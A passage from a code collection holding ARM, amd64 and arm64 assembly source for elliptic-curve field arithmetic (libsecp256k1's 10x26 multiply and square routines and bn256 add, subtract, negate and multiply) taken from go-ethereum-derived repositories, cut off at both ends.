a[1]*2 mov r7, r7, asl #1 ldr r8, [r1, #7*4] @ a[7] ldr r2, [r1, #8*4] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]*2 * a[7] ldr r14, [r1, #6*4] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]*2 * a[8] ldr r7, [r1, #2*4] @ a[2]*2 umlal r11, r12, r0, r8 @ c' += a[1]*2 * a[7] ldr r8, [r1, #5*4] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]*2 * a[6] ldr r0, [r1, #3*4] @ a[3]*2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]*2 * a[6] ldr r14, [r1, #4*4] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]*2 * a[5] mov r2, r2, asl #1 @ a[8]*2 umlal r11, r12, r0, r8 @ c' += a[3]*2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]*2 * a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #9*4] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]*2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] * a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #2*4] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner
orchain/go-ethereum
2,193
crypto/bn256/cloudflare/gfp_amd64.s
// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,CX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,CX,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), CX MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, CX ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ CX, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,CX, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,CX, 0(DI)) RET
orchain/go-ethereum
1,870
crypto/bn256/cloudflare/gfp_arm64.s
// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET
OSUSecLab/TxSpector
28,456
go-ethereum/crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s
@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or http://www.opensource.org/licenses/mit-license.php.* **********************************************************************/ /* ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the the even passes */ .syntax unified .arch armv7-a @ eabi attributes - see readelf -A .eabi_attribute 8, 1 @ Tag_ARM_ISA_use = yes .eabi_attribute 9, 0 @ Tag_Thumb_ISA_use = no .eabi_attribute 10, 0 @ Tag_FP_arch = none .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .eabi_attribute 30, 2 @ Tag_ABI_optimization_goals = Agressive Speed .eabi_attribute 34, 1 @ Tag_CPU_unaligned_access = v6 .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+10*4 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4*X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] */ /* A - interleaved with B */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #9*4] @ b[9] ldr r0, [r1, #1*4] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #8*4] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] * b[9] ldr r7, [r1, #2*4] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] * b[8] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] * b[7] ldr r14, [r2, #6*4] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] * b[7] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] * b[6] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] * b[5] ldr r14, [r2, #4*4] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] * b[5] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] * b[4] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] * b[3] ldr r14, [r2, #2*4] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] * b[3] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] * b[2] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] * b[1] ldr r14, [r2, #0*4] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] * b[1] ldr r7, [r1, #0*4] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] * b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 4*9] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 /* B */ umull r3, r4, r7, r14 @ c = a[0] * b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 0*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 * R1 umlal r3, r4, r0, r14 /* C - interleaved with D */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #2*4] @ b[2] ldr r14, [r2, #1*4] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] * b[1] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] * b[0] ldr r0, [r1, #3*4] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[3] * b[9] ldr r7, [r1, #4*4] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] * b[8] ldr r0, [r1, #5*4] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] * b[7] ldr r7, [r1, #6*4] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] * b[6] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] * b[5] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] * b[4] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] * b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 1*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 * R1 umlal r3, r4, r0, r14 /* D */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 2*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 * R1 umlal r3, r4, r0, r14 /* E - interleaved with F */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #4*4] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] * b[4] ldr r8, [r2, #3*4] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] * b[3] ldr r7, [r1, #1*4] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] * b[2] ldr r7, [r1, #2*4] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] * b[2] ldr r8, [r2, #1*4] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] * b[1] ldr r7, [r1, #3*4] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] * b[0] ldr r7, [r1, #4*4] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] * b[0] ldr r8, [r2, #9*4] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] * b[9] ldr r7, [r1, #5*4] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] * b[9] ldr r8, [r2, #8*4] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] * b[8] ldr r7, [r1, #6*4] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] * b[8] ldr r8, [r2, #7*4] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] * b[7] ldr r7, [r1, #7*4] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] * b[6] ldr r7, [r1, #8*4] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] * b[6] ldr r8, [r2, #5*4] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] * b[5] ldr r7, [r1, #9*4] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] * b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 3*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 * R1 umlal r3, r4, r0, r14 /* F */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 4*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 * R1 umlal r3, r4, r0, r14 /* G - interleaved with H */ ldr r7, [r1, #0*4] @ a[0] ldr r8, [r2, #6*4] @ b[6] ldr r14, [r2, #5*4] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] * b[5] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[2] * b[4] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] * b[3] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] * b[2] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] * b[1] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] * b[0] ldr r0, [r1, #7*4] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] * b[9] ldr r7, [r1, #8*4] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] * b[8] ldr r14, [r2, #7*4] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] * b[8] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] * b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 5*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 * R1 umlal r3, r4, r0, r14 /* H */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 6*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 * R1 umlal r3, r4, r0, r14 /* I - interleaved with J */ ldr r8, [r2, #8*4] @ b[8] ldr r7, [r1, #0*4] @ a[0] ldr r14, [r2, #7*4] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #1*4] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] * b[7] ldr r8, [r2, #6*4] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] * b[7] ldr r7, [r1, #2*4] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] * b[6] ldr r14, [r2, #5*4] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] * b[6] ldr r0, [r1, #3*4] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] * b[5] ldr r8, [r2, #4*4] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] * b[5] ldr r7, [r1, #4*4] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] * b[4] ldr r14, [r2, #3*4] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] * b[4] ldr r0, [r1, #5*4] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] * b[3] ldr r8, [r2, #2*4] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] * b[3] ldr r7, [r1, #6*4] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] * b[2] ldr r14, [r2, #1*4] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] * b[2] ldr r0, [r1, #7*4] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] * b[1] ldr r8, [r2, #0*4] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] * b[1] ldr r7, [r1, #8*4] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] * b[0] ldr r14, [r2, #9*4] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] * b[0] ldr r0, [r1, #9*4] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] * b[9] ldr r8, [r2, #8*4] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] * b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 7*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 * R1 umlal r3, r4, r0, r14 /* J */ adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 8*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] */ ldr r0, [sp, #0] add r1, sp, #4 + 3*4 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #3*4 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #8*4] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 0*4 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #9*4] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #0*4] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c * (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #1*4] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, 